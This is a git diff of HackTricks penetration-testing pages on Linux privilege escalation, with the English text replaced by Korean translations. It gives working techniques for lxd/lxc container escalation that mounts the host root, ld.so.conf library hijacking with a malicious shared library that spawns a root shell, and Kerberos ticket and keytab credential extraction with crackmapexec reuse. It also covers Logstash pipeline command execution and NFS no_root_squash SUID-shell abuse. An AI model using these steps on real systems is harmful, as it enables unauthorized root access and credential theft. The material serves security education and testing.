이 권한은 다음 익스플로잇을 사용하여 **루트로 권한을 상승시키는** 데 악용될 수 있습니다: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
# lxd/lxc Group - Privilege escalation
# lxd/lxc 그룹 - 권한 상승
{{#include ../../../banners/hacktricks-training.md}}
If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root
_**lxd**_ **또는** _**lxc**_ **그룹**에 속하면, 루트가 될 수 있습니다.**
## Exploiting without internet
## 인터넷 없이 악용하기
### Method 1
You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github):
### 방법 1
이 배포판 빌더를 당신의 머신에 설치할 수 있습니다: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(github의 지침을 따르세요):
```bash
sudo su
# Install requirements
@ -34,9 +33,7 @@ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
## Using build-lxc
sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18
```
Upload the files **lxd.tar.xz** and **rootfs.squashfs**, add the image to the repo and create a container:
파일 **lxd.tar.xz**와 **rootfs.squashfs**를 업로드하고, 이미지를 레포지토리에 추가한 후 컨테이너를 생성합니다:
```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
@ -51,23 +48,19 @@ lxc list
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```
> [!CAUTION]
> If you find this error _**Error: No storage pool found. Please create a new storage pool**_\
> Run **`lxd init`** and **repeat** the previous chunk of commands
Finally you can execute the container and get root:
> 이 오류 _**Error: No storage pool found. Please create a new storage pool**_를 발견하면\
> **`lxd init`**를 실행하고 **이전 명령어 조각을 반복**하세요.
마지막으로 컨테이너를 실행하고 root를 얻을 수 있습니다:
```bash
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
### Method 2
Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
Alpine 이미지를 빌드하고 `security.privileged=true` 플래그를 사용하여 시작하여 컨테이너가 호스트 파일 시스템과 루트로 상호 작용하도록 강제합니다.
```bash
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
@ -87,5 +80,4 @@ lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,82 +2,71 @@
{{#include ../../banners/hacktricks-training.md}}
## Prepare the environment
## 환경 준비
In the following section you can find the code of the files we are going to use to prepare the environment
다음 섹션에서는 환경을 준비하는 데 사용할 파일의 코드를 찾을 수 있습니다.
{{#tabs}}
{{#tab name="sharedvuln.c"}}
```c
#include <stdio.h>
#include "libcustom.h"
int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
```
{{#endtab}}
{{#tab name="libcustom.h"}}
```c
#include <stdio.h>
void vuln_func();
```
{{#endtab}}
{{#tab name="libcustom.c"}}
```c
#include <stdio.h>
void vuln_func()
{
puts("Hi");
puts("Hi");
}
```
{{#endtab}}
{{#endtabs}}
1. **Create** those files in your machine in the same folder
2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. **Copy** `libcustom.so` to `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs)
4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom`
1. **파일**을 같은 폴더에 **생성**합니다.
2. **라이브러리**를 **컴파일**합니다: `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. `libcustom.so``/usr/lib`로 **복사**합니다: `sudo cp libcustom.so /usr/lib` (루트 권한)
4. **실행 파일**을 **컴파일**합니다: `gcc sharedvuln.c -o sharedvuln -lcustom`
### Check the environment
Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary.
### 환경 확인
_libcustom.so_가 _/usr/lib_에서 **로드**되고 있으며, 이진 파일을 **실행**할 수 있는지 확인합니다.
```
$ ldd sharedvuln
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
$ ./sharedvuln
Welcome to my amazing application!
Hi
```
## Exploit
In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_:
이 시나리오에서는 **누군가가 _/etc/ld.so.conf/_ 파일 안에 취약한 항목을 생성했다고 가정합니다**:
```bash
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
```
The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\
**Download and compile** the following code inside that path:
취약한 폴더는 _/home/ubuntu/lib_입니다 (여기에서 쓰기 권한이 있습니다).\
**다음 코드를 다운로드하고** 해당 경로에서 컴파일하세요:
```c
//gcc -shared -o libcustom.so -fPIC libcustom.c
@ -86,27 +75,23 @@ The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\
#include <sys/types.h>
void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}
```
이제 **잘못 구성된** 경로 안에 악성 libcustom 라이브러리를 **생성했으므로**, **재부팅**을 기다리거나 루트 사용자가 **`ldconfig`**를 실행하기를 기다려야 합니다 (_이 바이너리를 **sudo**로 실행할 수 있거나 **suid 비트**가 설정되어 있다면 직접 실행할 수 있습니다_).
Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** (_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_).
Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from:
이 일이 발생한 후 **다시 확인**하여 `sharevuln` 실행 파일이 `libcustom.so` 라이브러리를 어디에서 로드하는지 확인하십시오:
```c
$ldd sharedvuln
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
```
As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed:
보시다시피 **`/home/ubuntu/lib`에서 로드되고** 사용자가 이를 실행하면 셸이 실행됩니다:
```c
$ ./sharedvuln
Welcome to my amazing application!
@ -114,40 +99,35 @@ I'm the bad library
$ whoami
ubuntu
```
> [!NOTE]
> Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges.
> 이 예제에서는 권한 상승을 하지 않았지만, 실행되는 명령을 수정하고 **루트 또는 다른 권한이 있는 사용자가 취약한 바이너리를 실행하기를 기다리면** 권한을 상승시킬 수 있습니다.
### Other misconfigurations - Same vuln
### 다른 잘못된 구성 - 동일한 취약점
In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\
But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it.
이전 예제에서는 관리자가 **`/etc/ld.so.conf.d/` 내의 구성 파일 안에 비권한 폴더를 설정한** 잘못된 구성을 가장했습니다.\
하지만 동일한 취약점을 유발할 수 있는 다른 잘못된 구성도 있습니다. `/etc/ld.so.conf.d` 내의 일부 **구성 파일**에 **쓰기 권한**이 있거나 `/etc/ld.so.conf.d` 폴더 또는 `/etc/ld.so.conf` 파일에 쓰기 권한이 있으면 동일한 취약점을 구성하고 이를 악용할 수 있습니다.
## Exploit 2
**Suppose you have sudo privileges over `ldconfig`**.\
You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\
So, lets create the files and folders needed to load "/tmp":
**`ldconfig`에 대한 sudo 권한이 있다고 가정해 보겠습니다.**\
`ldconfig`**구성 파일을 어디서 로드할지** 지시할 수 있으므로, 이를 이용해 `ldconfig`가 임의의 폴더를 로드하도록 할 수 있습니다.\
따라서 "/tmp"를 로드하는 데 필요한 파일과 폴더를 생성해 보겠습니다:
```bash
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf
```
Now, as indicated in the **previous exploit**, **create the malicious library inside `/tmp`**.\
And finally, lets load the path and check where is the binary loading the library from:
이제 **이전 익스플로잇**에서 언급한 대로, **`/tmp` 안에 악성 라이브러리를 생성합니다**.\
마지막으로, 경로를 로드하고 바이너리가 라이브러리를 어디에서 로드하는지 확인해 봅시다:
```bash
ldconfig -f fake.ld.so.conf
ldd sharedvuln
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
```
**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.**
**보시다시피, `ldconfig`에 대한 sudo 권한이 있으면 동일한 취약점을 악용할 수 있습니다.**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,19 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
{% embed url="https://websec.nl/" %}
리눅스 머신은 Active Directory 환경 내에 존재할 수 있습니다.
A linux machine can also be present inside an Active Directory environment.
A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine.
AD 내의 리눅스 머신은 **파일 내에 다양한 CCACHE 티켓을 저장할 수 있습니다. 이 티켓은 다른 kerberos 티켓처럼 사용되고 남용될 수 있습니다**. 이 티켓을 읽으려면 티켓의 사용자 소유자이거나 **root**여야 합니다.
## Enumeration
### AD enumeration from linux
### 리눅스에서 AD 열거하기
If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD.
리눅스(또는 Windows의 bash)에서 AD에 접근할 수 있다면 [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)를 사용하여 AD를 열거할 수 있습니다.
You can also check the following page to learn **other ways to enumerate AD from linux**:
리눅스에서 AD를 열거하는 **다른 방법**을 배우려면 다음 페이지를 확인하세요:
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
@ -22,28 +20,27 @@ You can also check the following page to learn **other ways to enumerate AD from
### FreeIPA
FreeIPA is an open-source **alternative** to Microsoft Windows **Active Directory**, mainly for **Unix** environments. It combines a complete **LDAP directory** with an MIT **Kerberos** Key Distribution Center for management akin to Active Directory. Utilizing the Dogtag **Certificate System** for CA & RA certificate management, it supports **multi-factor** authentication, including smartcards. SSSD is integrated for Unix authentication processes. Learn more about it in:
FreeIPA는 Microsoft Windows **Active Directory**에 대한 오픈 소스 **대안**으로, 주로 **Unix** 환경을 위해 설계되었습니다. Active Directory와 유사한 관리 기능을 위해 완전한 **LDAP 디렉토리**와 MIT **Kerberos** 키 배포 센터를 결합합니다. CA 및 RA 인증서 관리를 위해 Dogtag **Certificate System**을 활용하며, 스마트카드를 포함한 **다중 인증**을 지원합니다. Unix 인증 프로세스를 위해 SSSD가 통합되어 있습니다. 자세한 내용은 다음에서 확인하세요:
{{#ref}}
../freeipa-pentesting.md
{{#endref}}
## Playing with tickets
## 티켓 다루기
### Pass The Ticket
In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack:
이 페이지에서는 **리눅스 호스트 내에서 kerberos 티켓을 찾을 수 있는 다양한 장소**를 찾을 수 있으며, 다음 페이지에서는 이 CCache 티켓 형식을 Kirbi(Windows에서 사용해야 하는 형식)로 변환하는 방법과 PTT 공격을 수행하는 방법을 배울 수 있습니다:
{{#ref}}
../../windows-hardening/active-directory-methodology/pass-the-ticket.md
{{#endref}}
### CCACHE ticket reuse from /tmp
### /tmp에서 CCACHE 티켓 재사용
CCACHE files are binary formats for **storing Kerberos credentials** are typically stored with 600 permissions in `/tmp`. These files can be identified by their **name format, `krb5cc_%{uid}`,** correlating to the user's UID. For authentication ticket verification, the **environment variable `KRB5CCNAME`** should be set to the path of the desired ticket file, enabling its reuse.
List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID.
CCACHE 파일은 **Kerberos 자격 증명**을 저장하기 위한 이진 형식으로, 일반적으로 `/tmp`에 600 권한으로 저장됩니다. 이 파일은 **이름 형식 `krb5cc_%{uid}`**로 식별되며, 이는 사용자의 UID와 관련이 있습니다. 인증 티켓 검증을 위해 **환경 변수 `KRB5CCNAME`**을 원하는 티켓 파일의 경로로 설정하여 재사용할 수 있습니다.
`env | grep KRB5CCNAME` 명령어로 현재 인증에 사용되는 티켓을 나열합니다. 형식은 이식 가능하며, `export KRB5CCNAME=/tmp/ticket.ccache`로 환경 변수를 설정하여 티켓을 **재사용할 수 있습니다**. Kerberos 티켓 이름 형식은 `krb5cc_%{uid}`이며, 여기서 uid는 사용자 UID입니다.
```bash
# Find tickets
ls /tmp/ | grep krb5cc
@ -52,79 +49,62 @@ krb5cc_1000
# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000
```
### CCACHE 티켓 재사용 키링에서
### CCACHE ticket reuse from keyring
**Kerberos tickets stored in a process's memory can be extracted**, particularly when the machine's ptrace protection is disabled (`/proc/sys/kernel/yama/ptrace_scope`). A useful tool for this purpose is found at [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), which facilitates the extraction by injecting into sessions and dumping tickets into `/tmp`.
To configure and use this tool, the steps below are followed:
**프로세스의 메모리에 저장된 Kerberos 티켓은 추출될 수 있습니다**, 특히 머신의 ptrace 보호가 비활성화된 경우(`/proc/sys/kernel/yama/ptrace_scope`). 이 목적을 위한 유용한 도구는 [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)에서 찾을 수 있으며, 세션에 주입하고 `/tmp`에 티켓을 덤프하여 추출을 용이하게 합니다.
이 도구를 구성하고 사용하기 위해서는 아래 단계를 따릅니다:
```bash
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
/tmp/tickey -i
```
이 절차는 다양한 세션에 주입을 시도하며, 성공 시 추출된 티켓을 `/tmp``__krb_UID.ccache`라는 명명 규칙으로 저장합니다.
This procedure will attempt to inject into various sessions, indicating success by storing extracted tickets in `/tmp` with a naming convention of `__krb_UID.ccache`.
### SSSD KCM에서 CCACHE 티켓 재사용
### CCACHE ticket reuse from SSSD KCM
SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions.
Invoking \*\*`SSSDKCMExtractor` \*\* with the --database and --key parameters will parse the database and **decrypt the secrets**.
SSSD는 `/var/lib/sss/secrets/secrets.ldb` 경로에 데이터베이스의 복사본을 유지합니다. 해당 키는 `/var/lib/sss/secrets/.secrets.mkey` 경로에 숨겨진 파일로 저장됩니다. 기본적으로, 키는 **root** 권한이 있는 경우에만 읽을 수 있습니다.
\*\*`SSSDKCMExtractor` \*\*를 --database 및 --key 매개변수와 함께 호출하면 데이터베이스를 구문 분석하고 **비밀을 복호화**합니다.
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
**자격 증명 캐시 Kerberos 블롭은 Mimikatz/Rubeus에 전달할 수 있는 사용 가능한 Kerberos CCache** 파일로 변환될 수 있습니다.
The **credential cache Kerberos blob can be converted into a usable Kerberos CCache** file that can be passed to Mimikatz/Rubeus.
### CCACHE ticket reuse from keytab
### 키탭에서 CCACHE 티켓 재사용
```bash
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```
### /etc/krb5.keytab에서 계정 추출
### Extract accounts from /etc/krb5.keytab
Service account keys, essential for services operating with root privileges, are securely stored in **`/etc/krb5.keytab`** files. These keys, akin to passwords for services, demand strict confidentiality.
To inspect the keytab file's contents, **`klist`** can be employed. The tool is designed to display key details, including the **NT Hash** for user authentication, particularly when the key type is identified as 23.
루트 권한으로 운영되는 서비스에 필수적인 서비스 계정 키는 **`/etc/krb5.keytab`** 파일에 안전하게 저장됩니다. 이러한 키는 서비스의 비밀번호와 유사하며, 엄격한 기밀성을 요구합니다.
keytab 파일의 내용을 검사하기 위해 **`klist`**를 사용할 수 있습니다. 이 도구는 사용자 인증을 위한 **NT Hash**를 포함한 키 세부 정보를 표시하도록 설계되었습니다. 특히 키 유형이 23으로 식별될 때 그렇습니다.
```bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash
```
For Linux users, **`KeyTabExtract`** offers functionality to extract the RC4 HMAC hash, which can be leveraged for NTLM hash reuse.
Linux 사용자에게 **`KeyTabExtract`**는 NTLM 해시 재사용을 위해 활용할 수 있는 RC4 HMAC 해시를 추출하는 기능을 제공합니다.
```bash
python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability
```
On macOS, **`bifrost`** serves as a tool for keytab file analysis.
macOS에서 **`bifrost`**는 keytab 파일 분석을 위한 도구로 사용됩니다.
```bash
./bifrost -action dump -source keytab -path /path/to/your/file
```
Utilizing the extracted account and hash information, connections to servers can be established using tools like **`crackmapexec`**.
추출된 계정 및 해시 정보를 활용하여 **`crackmapexec`**와 같은 도구를 사용하여 서버에 연결할 수 있습니다.
```bash
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
```
## References
## 참고 문헌
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

File diff suppressed because it is too large Load Diff

View File

@ -2,59 +2,55 @@
## Logstash
Logstash is used to **gather, transform, and dispatch logs** through a system known as **pipelines**. These pipelines are made up of **input**, **filter**, and **output** stages. An interesting aspect arises when Logstash operates on a compromised machine.
Logstash**로그를 수집, 변환 및 전송**하는 데 사용됩니다. 이 시스템은 **파이프라인**으로 알려져 있습니다. 이러한 파이프라인은 **입력**, **필터**, 및 **출력** 단계로 구성됩니다. Logstash가 손상된 머신에서 작동할 때 흥미로운 측면이 발생합니다.
### Pipeline Configuration
Pipelines are configured in the file **/etc/logstash/pipelines.yml**, which lists the locations of the pipeline configurations:
파이프라인은 **/etc/logstash/pipelines.yml** 파일에서 구성되며, 여기에는 파이프라인 구성의 위치가 나열됩니다:
```yaml
# Define your pipelines here. Multiple pipelines can be defined.
# For details on multiple pipelines, refer to the documentation:
# https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html
- pipeline.id: main
path.config: "/etc/logstash/conf.d/*.conf"
path.config: "/etc/logstash/conf.d/*.conf"
- pipeline.id: example
path.config: "/usr/share/logstash/pipeline/1*.conf"
pipeline.workers: 6
path.config: "/usr/share/logstash/pipeline/1*.conf"
pipeline.workers: 6
```
이 파일은 파이프라인 구성이 포함된 **.conf** 파일이 어디에 위치하는지를 보여줍니다. **Elasticsearch output module**을 사용할 때, **pipelines**에 **Elasticsearch credentials**가 포함되는 것이 일반적이며, 이는 Logstash가 Elasticsearch에 데이터를 쓰기 위해 필요한 권한이 광범위하기 때문입니다. 구성 경로의 와일드카드는 Logstash가 지정된 디렉토리에서 모든 일치하는 파이프라인을 실행할 수 있도록 합니다.
This file reveals where the **.conf** files, containing pipeline configurations, are located. When employing an **Elasticsearch output module**, it's common for **pipelines** to include **Elasticsearch credentials**, which often possess extensive privileges due to Logstash's need to write data to Elasticsearch. Wildcards in configuration paths allow Logstash to execute all matching pipelines in the designated directory.
### 쓰기 가능한 파이프라인을 통한 권한 상승
### Privilege Escalation via Writable Pipelines
권한 상승을 시도하려면 먼저 Logstash 서비스가 실행 중인 사용자를 식별해야 하며, 일반적으로 **logstash** 사용자입니다. 다음 기준 중 **하나**를 충족해야 합니다:
To attempt privilege escalation, first identify the user under which the Logstash service is running, typically the **logstash** user. Ensure you meet **one** of these criteria:
- 파이프라인 **.conf** 파일에 **쓰기 권한**이 있거나
- **/etc/logstash/pipelines.yml** 파일이 와일드카드를 사용하고, 대상 폴더에 쓸 수 있음
- Possess **write access** to a pipeline **.conf** file **or**
- The **/etc/logstash/pipelines.yml** file uses a wildcard, and you can write to the target folder
또한, 다음 조건 중 **하나**를 충족해야 합니다:
Additionally, **one** of these conditions must be fulfilled:
- Capability to restart the Logstash service **or**
- The **/etc/logstash/logstash.yml** file has **config.reload.automatic: true** set
Given a wildcard in the configuration, creating a file that matches this wildcard allows for command execution. For instance:
- Logstash 서비스를 재시작할 수 있는 능력 **또는**
- **/etc/logstash/logstash.yml** 파일에 **config.reload.automatic: true**가 설정되어 있음
구성에 와일드카드가 주어지면, 이 와일드카드와 일치하는 파일을 생성하여 명령을 실행할 수 있습니다. 예를 들어:
```bash
input {
exec {
command => "whoami"
interval => 120
}
exec {
command => "whoami"
interval => 120
}
}
output {
file {
path => "/tmp/output.log"
codec => rubydebug
}
file {
path => "/tmp/output.log"
codec => rubydebug
}
}
```
여기서, **interval**은 초 단위로 실행 빈도를 결정합니다. 주어진 예에서 **whoami** 명령은 120초마다 실행되며, 그 출력은 **/tmp/output.log**로 전달됩니다.
Here, **interval** determines the execution frequency in seconds. In the given example, the **whoami** command runs every 120 seconds, with its output directed to **/tmp/output.log**.
With **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash will automatically detect and apply new or modified pipeline configurations without needing a restart. If there's no wildcard, modifications can still be made to existing configurations, but caution is advised to avoid disruptions.
**/etc/logstash/logstash.yml**에 **config.reload.automatic: true**가 설정되어 있으면, Logstash는 자동으로 새로운 또는 수정된 파이프라인 구성을 감지하고 적용하며, 재시작이 필요하지 않습니다. 와일드카드가 없으면 기존 구성에 대한 수정이 여전히 가능하지만, 중단을 피하기 위해 주의가 필요합니다.
## References

View File

@ -1,19 +1,18 @@
{{#include ../../banners/hacktricks-training.md}}
Read the _ **/etc/exports** _ file, if you find some directory that is configured as **no_root_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine.
**/etc/exports** 파일을 읽어보세요. **no_root_squash**로 설정된 디렉토리를 찾으면, 클라이언트로서 해당 디렉토리에 접근하고 마치 로컬 머신의 **root**인 것처럼 그 안에 쓸 수 있습니다.
**no_root_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications.
**no_root_squash**: 이 옵션은 기본적으로 클라이언트의 root 사용자에게 NFS 서버의 파일에 root로 접근할 수 있는 권한을 부여합니다. 이는 심각한 보안 문제를 초래할 수 있습니다.
**no_all_squash:** This is similar to **no_root_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user.
**no_all_squash:** 이 옵션은 **no_root_squash**와 유사하지만 **비루트 사용자**에게 적용됩니다. 예를 들어, nobody 사용자로 쉘을 가지고 있고, /etc/exports 파일을 확인했으며, no_all_squash 옵션이 존재하고, /etc/passwd 파일을 확인한 후 비루트 사용자를 에뮬레이트하고, 그 사용자로 suid 파일을 생성한 후(nfs를 사용하여 마운트) nobody 사용자로 suid를 실행하여 다른 사용자로 변환할 수 있습니다.
# Privilege Escalation
## Remote Exploit
If you have found this vulnerability, you can exploit it:
- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID** rights, and **executing from the victim** machine that bash binary.
이 취약점을 발견했다면, 이를 악용할 수 있습니다:
- 클라이언트 머신에서 해당 디렉토리를 **마운트**하고, **root로서** 마운트된 폴더 안에 **/bin/bash** 바이너리를 복사한 후 **SUID** 권한을 부여하고, 피해자 머신에서 그 bash 바이너리를 실행합니다.
```bash
#Attacker, as root user
mkdir /tmp/pe
@ -26,9 +25,7 @@ chmod +s bash
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID** rights, and **execute from the victim** machine that binary (you can find here some[ C SUID payloads](payloads-to-execute.md#c)).
- 클라이언트 머신에서 해당 디렉토리를 **마운트**하고, **루트로 복사**하여 마운트된 폴더 안에 SUID 권한을 악용할 컴파일된 페이로드를 넣고, 피해자 머신에서 그 바이너리를 **실행**합니다 (여기에서 일부 [C SUID 페이로드](payloads-to-execute.md#c)를 찾을 수 있습니다).
```bash
#Attacker, as root user
gcc payload.c -o payload
@ -42,61 +39,57 @@ chmod +s payload
cd <SHAREDD_FOLDER>
./payload #ROOT shell
```
## Local Exploit
## 로컬 익스플로잇
> [!NOTE]
> Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\
> The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and you will need to **abuse this trick**.\
> Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**.\
> --_I'm not sure that if `/etc/export` is indicating an IP address this trick will work_--
> 당신의 머신에서 피해자 머신으로 **터널을 생성할 수 있다면, 필요한 포트를 터널링하여 이 권한 상승을 이용하기 위해 원격 버전을 여전히 사용할 수 있습니다**.\
> 다음 트릭은 파일 `/etc/exports`**IP를 나타내는 경우**에 해당합니다. 이 경우 **어떤 경우에도** **원격 익스플로잇을 사용할 수 없으며****트릭을 악용해야 합니다**.\
> 익스플로잇이 작동하기 위한 또 다른 필수 조건은 **`/etc/export` 내의 익스포트가 `insecure` 플래그를 사용해야 한다는 것입니다**.\
> --_나는 `/etc/export`가 IP 주소를 나타내는 경우 이 트릭이 작동할지 확신하지 못합니다_--
## Basic Information
## 기본 정보
The scenario involves exploiting a mounted NFS share on a local machine, leveraging a flaw in the NFSv3 specification which allows the client to specify its uid/gid, potentially enabling unauthorized access. The exploitation involves using [libnfs](https://github.com/sahlberg/libnfs), a library that allows for the forging of NFS RPC calls.
이 시나리오는 로컬 머신에서 마운트된 NFS 공유를 악용하는 것으로, 클라이언트가 자신의 uid/gid를 지정할 수 있게 해주는 NFSv3 사양의 결함을 이용하여 무단 접근을 가능하게 합니다. 이 익스플로잇은 NFS RPC 호출을 위조할 수 있는 라이브러리인 [libnfs](https://github.com/sahlberg/libnfs)를 사용합니다.
### Compiling the Library
The library compilation steps might require adjustments based on the kernel version. In this specific case, the fallocate syscalls were commented out. The compilation process involves the following commands:
### 라이브러리 컴파일
라이브러리 컴파일 단계는 커널 버전에 따라 조정이 필요할 수 있습니다. 이 특정 경우에는 fallocate 시스템 호출이 주석 처리되었습니다. 컴파일 과정은 다음 명령어를 포함합니다:
```bash
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
```
### Exploit 수행
### Conducting the Exploit
이 익스플로잇은 루트 권한을 상승시키고 셸을 실행하는 간단한 C 프로그램(`pwn.c`)을 만드는 것을 포함합니다. 프로그램이 컴파일되고, 결과 이진 파일(`a.out`)이 suid root로 공유에 배치되며, `ld_nfs.so`를 사용하여 RPC 호출에서 uid를 위조합니다:
The exploit involves creating a simple C program (`pwn.c`) that elevates privileges to root and then executing a shell. The program is compiled, and the resulting binary (`a.out`) is placed on the share with suid root, using `ld_nfs.so` to fake the uid in the RPC calls:
1. **익스플로잇 코드를 컴파일합니다:**
1. **Compile the exploit code:**
```bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
